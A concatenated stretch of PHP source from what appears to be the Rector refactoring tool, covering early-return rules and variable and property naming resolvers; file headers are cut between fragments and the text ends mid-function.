Throw_ || $lastStmt instanceof Continue_ || $lastStmt instanceof Expression && $lastStmt->expr instanceof Exit_); } /** * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_ $node */ private function createIfFromNode($node) : If_ { $if = new If_($node->cond); $if->stmts = $node->stmts; $this->mirrorComments($if, $node); return $if; } private function updateIfWithElseIf(If_ $if, ElseIf_ $elseIf) : void { $if->cond = $elseIf->cond; $if->stmts = $elseIf->stmts; $this->mirrorComments($if, $elseIf); $if->else = null; } } ifManipulator = $ifManipulator; $this->betterNodeFinder = $betterNodeFinder; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Return early prepared value in ifs', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $var = null; if (rand(0, 1)) { $var = 1; } if (rand(0, 1)) { $var = 2; } return $var; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { if (rand(0, 1)) { return 1; } if (rand(0, 1)) { return 2; } return null; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?StmtsAwareInterface { if ($node->stmts === null) { return null; } /** @var If_[] $ifs */ $ifs = []; $initialAssign = null; $initialAssignPosition = null; foreach ($node->stmts as $key => $stmt) { if ($stmt instanceof Expression && $stmt->expr instanceof AssignOp) { return null; } if ($stmt instanceof If_) { $ifs[$key] = $stmt; continue; } if ($stmt instanceof Expression && $stmt->expr instanceof Assign) { $initialAssign = $stmt->expr; $initialAssignPosition = $key; $ifs = []; continue; } if (!$stmt instanceof Return_) { continue; } $return = $stmt; // match exact variable if (!$return->expr instanceof Variable) { return null; } if (!\is_int($initialAssignPosition)) { return null; } if (!$initialAssign instanceof Assign) { return null; } $matchingBareSingleAssignIfs = $this->getMatchingBareSingleAssignIfs($ifs, $node); if ($matchingBareSingleAssignIfs === []) { return null; } if (!$this->isVariableSharedInAssignIfsAndReturn($matchingBareSingleAssignIfs, $return->expr, $initialAssign)) { return null; } return $this->refactorToDirectReturns($node, $initialAssignPosition, $matchingBareSingleAssignIfs, $initialAssign, $return); } return null; } /** * @param If_[] $ifs * @return BareSingleAssignIf[] */ private function getMatchingBareSingleAssignIfs(array $ifs, StmtsAwareInterface $stmtsAware) : array { $bareSingleAssignIfs = []; foreach ($ifs as $key => $if) { $bareSingleAssignIf = $this->matchBareSingleAssignIf($if, $key, $stmtsAware); if (!$bareSingleAssignIf instanceof BareSingleAssignIf) { return []; } $bareSingleAssignIfs[] = $bareSingleAssignIf; } return $bareSingleAssignIfs; } /** * @param BareSingleAssignIf[] $bareSingleAssignIfs */ private function isVariableSharedInAssignIfsAndReturn(array $bareSingleAssignIfs, Expr $returnedExpr, Assign $initialAssign) : bool { if (!$this->nodeComparator->areNodesEqual($returnedExpr, $initialAssign->var)) { return \false; } foreach ($bareSingleAssignIfs as $bareSingleAssignIf) { $assign = $bareSingleAssignIf->getAssign(); $isVariableUsed = (bool) $this->betterNodeFinder->findFirst([$bareSingleAssignIf->getIfCondExpr(), $assign->expr], function (Node $node) use($returnedExpr) : bool { return $this->nodeComparator->areNodesEqual($node, $returnedExpr); }); if ($isVariableUsed) { return \false; } if (!$this->nodeComparator->areNodesEqual($assign->var, $returnedExpr)) { return \false; } } return \true; } private function matchBareSingleAssignIf(Stmt $stmt, int $key, StmtsAwareInterface $stmtsAware) : ?BareSingleAssignIf { if (!$stmt instanceof If_) { return null; } // is exactly single stmt if (\count($stmt->stmts) !== 1) { return null; } $onlyStmt = $stmt->stmts[0]; if (!$onlyStmt instanceof Expression) { return null; } $expression = $onlyStmt; if (!$expression->expr instanceof Assign) { return null; } if (!$this->ifManipulator->isIfWithoutElseAndElseIfs($stmt)) { return null; } if (!isset($stmtsAware->stmts[$key + 1])) { return null; } if ($stmtsAware->stmts[$key + 1] instanceof If_) { return new BareSingleAssignIf($stmt, $expression->expr); } if ($stmtsAware->stmts[$key + 1] instanceof Return_) { return new BareSingleAssignIf($stmt, $expression->expr); } return null; } /** * @param BareSingleAssignIf[] $bareSingleAssignIfs */ private function refactorToDirectReturns(StmtsAwareInterface $stmtsAware, int $initialAssignPosition, array $bareSingleAssignIfs, Assign $initialAssign, Return_ $return) : StmtsAwareInterface { // 1. remove initial assign unset($stmtsAware->stmts[$initialAssignPosition]); // 2. make ifs early return foreach ($bareSingleAssignIfs as $bareSingleAssignIf) { $if = $bareSingleAssignIf->getIf(); $if->stmts[0] = new Return_($bareSingleAssignIf->getAssign()->expr); } // 3. make return default value $return->expr = $initialAssign->expr; return $stmtsAware; } } assignAndBinaryMap = $assignAndBinaryMap; $this->callAnalyzer = $callAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes Single return of || to early returns', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function accept() { return $this->something() || $this->somethingElse(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function accept() { if ($this->something()) { return true; } return (bool) $this->somethingElse(); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { if ($node->stmts === null) { return null; } $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if (!$stmt instanceof Return_) { continue; } if (!$stmt->expr instanceof BooleanOr) { continue; } /** @var BooleanOr $booleanOr */ $booleanOr = $stmt->expr; $left = $booleanOr->left; $ifs = $this->createMultipleIfs($left, $stmt, []); // ensure ifs not removed by other rules if ($ifs === []) { continue; } if (!$this->callAnalyzer->doesIfHasObjectCall($ifs)) { continue; } $this->mirrorComments($ifs[0], $stmt); $lastReturnExpr = $this->assignAndBinaryMap->getTruthyExpr($booleanOr->right); $ifsWithLastIf = \array_merge($ifs, [new Return_($lastReturnExpr)]); \array_splice($node->stmts, $key, 1, $ifsWithLastIf); $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } /** * @param If_[] $ifs * @return If_[] */ private function createMultipleIfs(Expr $expr, Return_ $return, array $ifs) : array { while ($expr instanceof BooleanOr) { $ifs = \array_merge($ifs, $this->collectLeftBooleanOrToIfs($expr, $return, $ifs)); $ifs[] = new If_($expr->right, ['stmts' => [new Return_($this->nodeFactory->createTrue())]]); $expr = $expr->right; if ($expr instanceof BooleanAnd) { return []; } if (!$expr instanceof BooleanOr) { continue; } return []; } $lastIf = new If_($expr, ['stmts' => [new Return_($this->nodeFactory->createTrue())]]); // if empty, fallback to last if if ($ifs === []) { return [$lastIf]; } return $ifs; } /** * @param If_[] $ifs * @return If_[] */ private function collectLeftBooleanOrToIfs(BooleanOr $booleanOr, Return_ $return, array $ifs) : array { $left = $booleanOr->left; if (!$left instanceof BooleanOr) { $returnTrueIf = new If_($left, ['stmts' => [new Return_($this->nodeFactory->createTrue())]]); return [$returnTrueIf]; } return $this->createMultipleIfs($left, $return, $ifs); } } variableAnalyzer = $variableAnalyzer; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace if conditioned variable override with direct return', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function run($value) { if ($value === 50) { $value = 100; } return $value; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run($value) { if ($value === 50) { return 100; } return $value; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class]; } /** * @param StmtsAwareInterface $node */ public function refactor(Node $node) : ?Node { $stmts = (array) $node->stmts; foreach ($stmts as $key => $stmt) { $returnVariable = $this->matchNextStmtReturnVariable($node, $key); if (!$returnVariable instanceof Variable) { continue; } if ($stmt instanceof If_ && !$stmt->else instanceof Else_ && $stmt->elseifs === []) { // is single condition if $if = $stmt; if (\count($if->stmts) !== 1) { continue; } $onlyIfStmt = $if->stmts[0]; $assignedExpr = $this->matchOnlyIfStmtReturnExpr($onlyIfStmt, $returnVariable); if (!$assignedExpr instanceof Expr) { continue; } $if->stmts[0] = new Return_($assignedExpr); $this->mirrorComments($if->stmts[0], $onlyIfStmt); return $node; } } return null; } private function matchOnlyIfStmtReturnExpr(Stmt $onlyIfStmt, Variable $returnVariable) : ?\PhpParser\Node\Expr { if (!$onlyIfStmt instanceof Expression) { return null; } if (!$onlyIfStmt->expr instanceof Assign) { return null; } $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($onlyIfStmt); if ($phpDocInfo->getVarTagValueNode() instanceof VarTagValueNode) { return null; } $assign = $onlyIfStmt->expr; // assign to same variable that is returned if (!$assign->var instanceof Variable) { return null; } if ($this->variableAnalyzer->isStaticOrGlobal($assign->var)) { return null; } if ($this->variableAnalyzer->isUsedByReference($assign->var)) { return null; } if (!$this->nodeComparator->areNodesEqual($assign->var, $returnVariable)) { return null; } // return directly return $assign->expr; } private function matchNextStmtReturnVariable(StmtsAwareInterface $stmtsAware, int $key) : ?\PhpParser\Node\Expr\Variable { $nextStmt = $stmtsAware->stmts[$key + 1] ?? null; // last item → stop if (!$nextStmt instanceof Stmt) { return null; } if (!$nextStmt instanceof Return_) { return null; } // next return must be variable if (!$nextStmt->expr instanceof Variable) { return null; } return $nextStmt->expr; } } if = $if; $this->assign = $assign; } public function getIfCondExpr() : Expr { return $this->if->cond; } public function getIf() : If_ { return $this->if; } public function getAssign() : Assign { return $this->assign; } } getPrice();', 'echo $object instanceof Product ? $object->getPrice() : null;')]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { if (!$node->if instanceof Expr) { return null; } if (!$node->cond instanceof BooleanNot) { return null; } $booleanNot = $node->cond; if (!$booleanNot->expr instanceof Instanceof_) { return null; } $node->cond = $booleanNot->expr; // flip if and else [$node->if, $node->else] = [$node->else, $node->if]; return $node; } } */ final class NewAssignVariableNameResolver implements AssignVariableNameResolverInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; public function __construct(NodeNameResolver $nodeNameResolver) { $this->nodeNameResolver = $nodeNameResolver; } public function match(Node $node) : bool { return $node instanceof New_; } /** * @param New_ $node */ public function resolve(Node $node) : string { $className = $this->nodeNameResolver->getName($node->class); if ($className === null) { throw new NotImplementedYetException(); } return $this->nodeNameResolver->getShortName($className); } } */ final class PropertyFetchAssignVariableNameResolver implements AssignVariableNameResolverInterface { /** * @readonly * @var \Rector\NodeNameResolver\NodeNameResolver */ private $nodeNameResolver; public function __construct(NodeNameResolver $nodeNameResolver) { $this->nodeNameResolver = $nodeNameResolver; } public function match(Node $node) : bool { return $node instanceof PropertyFetch; } /** * @param PropertyFetch $node */ public function resolve(Node $node) : string { $varName = $this->nodeNameResolver->getName($node->var); if (!\is_string($varName)) { throw new NotImplementedYetException(); } $propertyName = $this->nodeNameResolver->getName($node->name); if (!\is_string($propertyName)) { throw new NotImplementedYetException(); } if ($varName === 'this') { return $propertyName; } return $varName . \ucfirst($propertyName); } } */ private const SINGULARIZE_MAP = ['news' => 'new']; /** * @var string * @see https://regex101.com/r/lbQaGC/3 */ private const CAMELCASE_REGEX = '#(?([a-z\\d]+|[A-Z\\d]{1,}[a-z\\d]+|_))#'; /** * @var string * @see https://regex101.com/r/2aGdkZ/2 */ private const BY_MIDDLE_REGEX = '#(?By[A-Z][a-zA-Z]+)#'; /** * @var string */ private const CAMELCASE = 'camelcase'; public function __construct(Inflector $inflector) { $this->inflector = $inflector; } public function resolve(string $currentName) : string { $matchBy = Strings::match($currentName, self::BY_MIDDLE_REGEX); if ($matchBy !== null) { return Strings::substring($currentName, 0, -\strlen((string) $matchBy['by'])); } $resolvedValue = $this->resolveSingularizeMap($currentName); if ($resolvedValue !== null) { return $resolvedValue; } $singularValueVarName = $this->singularizeCamelParts($currentName); if (\in_array($singularValueVarName, ['', '_'], \true)) { return $currentName; } $length = \strlen($singularValueVarName); if ($length < 40) { return $singularValueVarName; } return $currentName; } private function resolveSingularizeMap(string $currentName) : ?string { foreach (self::SINGULARIZE_MAP as $plural => $singular) { if ($currentName === $plural) { return $singular; } if (StringUtils::isMatch($currentName, '#' . \ucfirst($plural) . '#')) { $resolvedValue = Strings::replace($currentName, '#' . \ucfirst($plural) . '#', \ucfirst($singular)); return $this->singularizeCamelParts($resolvedValue); } if (StringUtils::isMatch($currentName, '#' . $plural . '#')) { $resolvedValue = Strings::replace($currentName, '#' . $plural . '#', $singular); return $this->singularizeCamelParts($resolvedValue); } } return null; } private function singularizeCamelParts(string $currentName) : string { $camelCases = Strings::matchAll($currentName, self::CAMELCASE_REGEX); $resolvedName = ''; foreach ($camelCases as $camelCase) { if (\in_array($camelCase[self::CAMELCASE], ['is', 'has', 'cms', 'this'], \true)) { $value = $camelCase[self::CAMELCASE]; } else { $value = $this->inflector->singularize($camelCase[self::CAMELCASE]); } $resolvedName .= $value; } return $resolvedName; } } staticTypeMapper = $staticTypeMapper; $this->propertyNaming = $propertyNaming; $this->nodeTypeResolver = $nodeTypeResolver; } public function resolve(Param $param) : ?string { // nothing to verify if ($param->type === null) { return null; } // include nullable too // skip date time + date time interface, as should be kept if ($this->nodeTypeResolver->isObjectType($param->type, new ObjectType('DateTimeInterface'))) { return null; } $staticType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); $expectedName = $this->propertyNaming->getExpectedNameFromType($staticType); if (!$expectedName instanceof ExpectedName) { return null; } return $expectedName->getName(); } } propertyNaming = $propertyNaming; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->nodeNameResolver = $nodeNameResolver; $this->propertyManipulator = $propertyManipulator; $this->reflectionResolver = $reflectionResolver; $this->staticTypeMapper = $staticTypeMapper; } public function resolve(Property $property, ClassLike $classLike) : ?string { if (!$classLike instanceof Class_) { return null; } $classReflection = $this->reflectionResolver->resolveClassReflection($property); if (!$classReflection instanceof ClassReflection) { return null; } $propertyName = $this->nodeNameResolver->getName($property); if ($this->propertyManipulator->isUsedByTrait($classReflection, $propertyName)) { return null; } $expectedName = $this->resolveExpectedName($property); if (!$expectedName instanceof ExpectedName) { return null; } // skip if already has suffix if (\substr_compare($propertyName, $expectedName->getName(), -\strlen($expectedName->getName())) === 0 || \substr_compare($propertyName, \ucfirst($expectedName->getName()), -\strlen(\ucfirst($expectedName->getName()))) === 0) { return null; } return $expectedName->getName(); } private function resolveExpectedName(Property $property) : ?ExpectedName { // property type first if ($property->type instanceof Node) { $propertyType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($property->type); return $this->propertyNaming->getExpectedNameFromType($propertyType); } // fallback to docblock $phpDocInfo = $this->phpDocInfoFactory->createFromNode($property); $hasVarTag = $phpDocInfo instanceof PhpDocInfo && $phpDocInfo->getVarTagValueNode() instanceof VarTagValueNode; if ($hasVarTag) { return $this->propertyNaming->getExpectedNameFromType($phpDocInfo->getVarType()); } return null; } } betterNodeFinder = $betterNodeFinder; $this->conflictingNameResolver = $conflictingNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->overridenExistingNamesResolver = $overridenExistingNamesResolver; $this->typeUnwrapper = $typeUnwrapper; $this->nodeNameResolver = $nodeNameResolver; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ public function shouldSkipVariable(string $currentName, string $expectedName, $functionLike, Variable $variable) : bool { // is the suffix? → also accepted $expectedNameCamelCase = \ucfirst($expectedName); if (\substr_compare($currentName, $expectedNameCamelCase, -\strlen($expectedNameCamelCase)) === 0) { return \true; } if ($this->conflictingNameResolver->hasNameIsInFunctionLike($expectedName, $functionLike)) { return \true; } if (!$functionLike instanceof ArrowFunction && $this->overridenExistingNamesResolver->hasNameInClassMethodForNew($currentName, $functionLike)) { return \true; } if ($this->isVariableAlreadyDefined($variable, $currentName)) { return \true; } if ($this->hasConflictVariable($functionLike, $expectedName)) { return \true; } return $functionLike instanceof Closure && $this->isUsedInClosureUsesName($expectedName, $functionLike); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $classMethod */ public function shouldSkipParam(string $currentName, string $expectedName, $classMethod, Param $param) : bool { // is the suffix? → also accepted $expectedNameCamelCase = \ucfirst($expectedName); if (\substr_compare($currentName, $expectedNameCamelCase, -\strlen($expectedNameCamelCase)) === 0) { return \true; } $conflictingNames = $this->conflictingNameResolver->resolveConflictingVariableNamesForParam($classMethod); if (\in_array($expectedName, $conflictingNames, \true)) { return \true; } if ($this->conflictingNameResolver->hasNameIsInFunctionLike($expectedName, $classMethod)) { return \true; } if ($this->overridenExistingNamesResolver->hasNameInFunctionLikeForParam($expectedName, $classMethod)) { return \true; } if ($param->var instanceof Error) { return \true; } if ($this->isVariableAlreadyDefined($param->var, $currentName)) { return \true; } if ($this->isRamseyUuidInterface($param)) { return \true; } if ($this->isGenerator($param)) { return \true; } if ($this->isDateTimeAtNamingConvention($param)) { return \true; } return (bool) $this->betterNodeFinder->findFirst((array) $classMethod->getStmts(), function (Node $node) use($expectedName) : bool { if (!$node instanceof Variable) { return \false; } return $this->nodeNameResolver->isName($node, $expectedName); }); } private function isVariableAlreadyDefined(Variable $variable, string $currentVariableName) : bool { $scope = $variable->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return \false; } $trinaryLogic = $scope->hasVariableType($currentVariableName); if ($trinaryLogic->yes()) { return \true; } return $trinaryLogic->maybe(); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ private function hasConflictVariable($functionLike, string $newName) : bool { if ($functionLike instanceof ArrowFunction) { return $this->betterNodeFinder->hasInstanceOfName(\array_merge([$functionLike->expr], $functionLike->params), Variable::class, $newName); } return $this->betterNodeFinder->hasInstanceOfName(\array_merge((array) $functionLike->stmts, $functionLike->params), Variable::class, $newName); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function isUsedInClosureUsesName(string $expectedName, $functionLike) : bool { if (!$functionLike instanceof Closure) { return \false; } return $this->betterNodeFinder->hasVariableOfName($functionLike->uses, $expectedName); } private function isRamseyUuidInterface(Param $param) : bool { return $this->nodeTypeResolver->isObjectType($param, new ObjectType('Ramsey\\Uuid\\UuidInterface')); } private function isDateTimeAtNamingConvention(Param $param) : bool { $type = $this->nodeTypeResolver->getType($param); $type = $this->typeUnwrapper->unwrapFirstObjectTypeFromUnionType($type); if (!$type instanceof TypeWithClassName) { return \false; } if (!\is_a($type->getClassName(), DateTimeInterface::class, \true)) { return \false; } /** @var string $currentName */ $currentName = $this->nodeNameResolver->getName($param); return StringUtils::isMatch($currentName, self::AT_NAMING_REGEX); } private function isGenerator(Param $param) : bool { if (!$param->type instanceof Node) { return \false; } $paramType = $this->nodeTypeResolver->getType($param); if (!$paramType instanceof ObjectType) { return \false; } if (\substr_compare($paramType->getClassName(), 'Generator', -\strlen('Generator')) === 0 || \substr_compare($paramType->getClassName(), 'Iterator', -\strlen('Iterator')) === 0) { return \true; } return $paramType->isInstanceOf('Symfony\\Component\\DependencyInjection\\Argument\\RewindableGenerator')->yes(); } } nodeTypeResolver = $nodeTypeResolver; $this->typeUnwrapper = $typeUnwrapper; } public function isConflicting(PropertyRename $propertyRename) : bool { $type = $this->nodeTypeResolver->getType($propertyRename->getProperty()); $type = $this->typeUnwrapper->unwrapFirstObjectTypeFromUnionType($type); if (!$type instanceof TypeWithClassName) { return \false; } if (!\is_a($type->getClassName(), DateTimeInterface::class, \true)) { return \false; } return StringUtils::isMatch($propertyRename->getCurrentName(), \Rector\Naming\Guard\BreakingVariableRenameGuard::AT_NAMING_REGEX); } } reflectionProvider = $reflectionProvider; } public function isConflicting(PropertyRename $propertyRename) : bool { if (!$this->reflectionProvider->hasClass($propertyRename->getClassLikeName())) { return \false; } $classReflection = $this->reflectionProvider->getClass($propertyRename->getClassLikeName()); if ($classReflection->hasMethod('__set')) { return \true; } return $classReflection->hasMethod('__get'); } } matchPropertyTypeExpectedNameResolver = $matchPropertyTypeExpectedNameResolver; $this->nodeNameResolver = $nodeNameResolver; $this->arrayFilter = $arrayFilter; } public function isConflicting(PropertyRename $propertyRename) : bool { $conflictingPropertyNames = $this->resolve($propertyRename->getClassLike()); return \in_array($propertyRename->getExpectedName(), $conflictingPropertyNames, \true); } /** * @return string[] */ private function resolve(ClassLike $classLike) : array { $expectedNames = []; foreach ($classLike->getProperties() as $property) { $expectedName = $this->matchPropertyTypeExpectedNameResolver->resolve($property, $classLike); if ($expectedName === null) { // fallback to existing name $expectedName = $this->nodeNameResolver->getName($property); } $expectedNames[] = $expectedName; } return $this->arrayFilter->filterWithAtLeastTwoOccurences($expectedNames); } } expr instanceof MethodCall) { return $node->expr; } if ($node->expr instanceof StaticCall) { return $node->expr; } if ($node->expr instanceof FuncCall) { return $node->expr; } return null; } } nodeNameResolver = $nodeNameResolver; $this->callMatcher = $callMatcher; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\Function_ $functionLike */ public function match(Foreach_ $foreach, $functionLike) : ?VariableAndCallForeach { $call = $this->callMatcher->matchCall($foreach); if (!$call instanceof Node) { return null; } if (!$foreach->valueVar instanceof Variable) { return null; } $variableName = $this->nodeNameResolver->getName($foreach->valueVar); if ($variableName === null) { return null; } return new VariableAndCallForeach($foreach->valueVar, $call, $variableName, $functionLike); } } callMatcher = $callMatcher; $this->nodeNameResolver = $nodeNameResolver; $this->betterNodeFinder = $betterNodeFinder; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\Function_ $functionLike */ public function match(Assign $assign, $functionLike) : ?VariableAndCallAssign { $call = $this->callMatcher->matchCall($assign); if (!$call instanceof Node) { return null; } if (!$assign->var instanceof Variable) { return null; } $variableName = $this->nodeNameResolver->getName($assign->var); if ($variableName === null) { return null; } $isVariableFoundInCallArgs = (bool) $this->betterNodeFinder->findFirst($call->isFirstClassCallable() ? [] : $call->getArgs(), function (Node $subNode) use($variableName) : bool { return $subNode instanceof Variable && $this->nodeNameResolver->isName($subNode, $variableName); }); if ($isVariableFoundInCallArgs) { return null; } return new VariableAndCallAssign($assign->var, $call, $assign, $variableName, $functionLike); } } useImportsResolver = $useImportsResolver; } /** * @param array $uses */ public function resolveByName(FullyQualified $fullyQualified, array $uses) : ?string { $nameString = $fullyQualified->toString(); foreach ($uses as $use) { $prefix = $this->useImportsResolver->resolvePrefix($use); foreach ($use->uses as $useUse) { if (!$useUse->alias instanceof Identifier) { continue; } $fullyQualified = $prefix . $useUse->name->toString(); if ($fullyQualified !== $nameString) { continue; } return (string) $useUse->getAlias(); } } return null; } } */ private $conflictingVariableNamesByClassMethod = []; public function __construct(ArrayFilter $arrayFilter, BetterNodeFinder $betterNodeFinder, \Rector\Naming\Naming\ExpectedNameResolver $expectedNameResolver, MatchParamTypeExpectedNameResolver $matchParamTypeExpectedNameResolver, FunctionLikeManipulator $functionLikeManipulator) { $this->arrayFilter = $arrayFilter; $this->betterNodeFinder = $betterNodeFinder; $this->expectedNameResolver = $expectedNameResolver; $this->matchParamTypeExpectedNameResolver = $matchParamTypeExpectedNameResolver; $this->functionLikeManipulator = $functionLikeManipulator; } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $classMethod */ public function resolveConflictingVariableNamesForParam($classMethod) : array { $expectedNames = []; foreach ($classMethod->params as $param) { $expectedName = $this->matchParamTypeExpectedNameResolver->resolve($param); if ($expectedName === null) { continue; } $expectedNames[] = $expectedName; } return $this->arrayFilter->filterWithAtLeastTwoOccurences($expectedNames); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ public function hasNameIsInFunctionLike(string $variableName, $functionLike) : bool { $conflictingVariableNames = $this->resolveConflictingVariableNamesForNew($functionLike); return \in_array($variableName, $conflictingVariableNames, \true); } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ private function resolveConflictingVariableNamesForNew($functionLike) : array { // cache it! $classMethodId = \spl_object_id($functionLike); if (isset($this->conflictingVariableNamesByClassMethod[$classMethodId])) { return $this->conflictingVariableNamesByClassMethod[$classMethodId]; } $paramNames = $this->functionLikeManipulator->resolveParamNames($functionLike); $newAssignNames = $this->resolveForNewAssigns($functionLike); $nonNewAssignNames = $this->resolveForNonNewAssigns($functionLike); $protectedNames = \array_merge($paramNames, $newAssignNames, $nonNewAssignNames); $protectedNames = $this->arrayFilter->filterWithAtLeastTwoOccurences($protectedNames); $this->conflictingVariableNamesByClassMethod[$classMethodId] = $protectedNames; return $protectedNames; } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ private function resolveForNewAssigns($functionLike) : array { $names = []; /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstanceOf((array) $functionLike->getStmts(), Assign::class); foreach ($assigns as $assign) { $name = $this->expectedNameResolver->resolveForAssignNew($assign); if ($name === null) { continue; } $names[] = $name; } return $names; } /** * @return string[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction $functionLike */ private function resolveForNonNewAssigns($functionLike) : array { $names = []; /** @var Assign[] $assigns */ $assigns = $this->betterNodeFinder->findInstanceOf((array) $functionLike->getStmts(), Assign::class); foreach ($assigns as $assign) { $name = $this->expectedNameResolver->resolveForAssignNonNew($assign); if ($name === null) { continue; } $names[] = $name; } return $names; } } nodeNameResolver = $nodeNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->propertyNaming = $propertyNaming; $this->matchParamTypeExpectedNameResolver = $matchParamTypeExpectedNameResolver; } public function resolveForParamIfNotYet(Param $param) : ?string { if ($param->type instanceof UnionType) { return null; } $expectedName = $this->matchParamTypeExpectedNameResolver->resolve($param); if ($expectedName === null) { return null; } /** @var string $currentName */ $currentName = $this->nodeNameResolver->getName($param->var); if ($currentName === $expectedName || \substr_compare($currentName, \ucfirst($expectedName), -\strlen(\ucfirst($expectedName))) === 0) { return null; } return $expectedName; } public function resolveForAssignNonNew(Assign $assign) : ?string { if ($assign->expr instanceof New_) { return null; } if (!$assign->var instanceof Variable) { return null; } /** @var Variable $variable */ $variable = $assign->var; return $this->nodeNameResolver->getName($variable); } public function resolveForAssignNew(Assign $assign) : ?string { if (!$assign->expr instanceof New_) { return null; } if (!$assign->var instanceof Variable) { return null; } /** @var New_ $new */ $new = $assign->expr; if (!$new->class instanceof Name) { return null; } $className = $this->nodeNameResolver->getName($new->class); $fullyQualifiedObjectType = new FullyQualifiedObjectType($className); if ($fullyQualifiedObjectType->isInstanceOf(DateTimeInterface::class)->yes()) { return null; } $expectedName = $this->propertyNaming->getExpectedNameFromType($fullyQualifiedObjectType); if (!$expectedName instanceof ExpectedName) { return null; } return $expectedName->getName(); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\FuncCall $expr */ public function resolveForCall($expr) : ?string { if ($this->isDynamicNameCall($expr)) { return null; } $name = $this->nodeNameResolver->getName($expr->name); if ($name === null) { return null; } $returnedType = $this->nodeTypeResolver->getType($expr); if (!$returnedType->isObject()->yes()) { return null; } if ($this->isDateTimeType($returnedType)) { return null; } $expectedName = $this->propertyNaming->getExpectedNameFromType($returnedType); if ($expectedName instanceof ExpectedName) { return $expectedName->getName(); } // call with args can return different value, so skip there if not sure about the type if ($expr->args !== []) { return null; } $expectedNameFromMethodName = $this->propertyNaming->getExpectedNameFromMethodName($name); if ($expectedNameFromMethodName instanceof ExpectedName) { return $expectedNameFromMethodName->getName(); } return null; } public function resolveForForeach(VariableAndCallForeach $variableAndCallForeach) : ?string { $call = $variableAndCallForeach->getCall(); if ($this->isDynamicNameCall($call)) { return null; } $name = $this->nodeNameResolver->getName($call->name); if ($name === null) { return null; } $returnedType = $this->nodeTypeResolver->getType($call); if ($returnedType->isIterable()->no()) { return null; } $innerReturnedType = null; if ($returnedType instanceof ArrayType) { $innerReturnedType = $this->resolveReturnTypeFromArrayType($returnedType); if (!$innerReturnedType instanceof Type) { return null; } } $expectedNameFromType = $this->propertyNaming->getExpectedNameFromType($innerReturnedType ?? $returnedType); if ($this->isReturnedTypeAnArrayAndExpectedNameFromTypeNotNull($returnedType, $expectedNameFromType)) { return ($nullsafeVariable1 = $expectedNameFromType) ? $nullsafeVariable1->getSingularized() : null; } $expectedNameFromMethodName = $this->propertyNaming->getExpectedNameFromMethodName($name); if (!$expectedNameFromMethodName instanceof ExpectedName) { return ($nullsafeVariable2 = $expectedNameFromType) ? $nullsafeVariable2->getSingularized() : null; } if ($expectedNameFromMethodName->isSingular()) { return ($nullsafeVariable3 = $expectedNameFromType) ? $nullsafeVariable3->getSingularized() : null; } return $expectedNameFromMethodName->getSingularized(); } private function isReturnedTypeAnArrayAndExpectedNameFromTypeNotNull(Type $returnedType, ?ExpectedName $expectedName) : 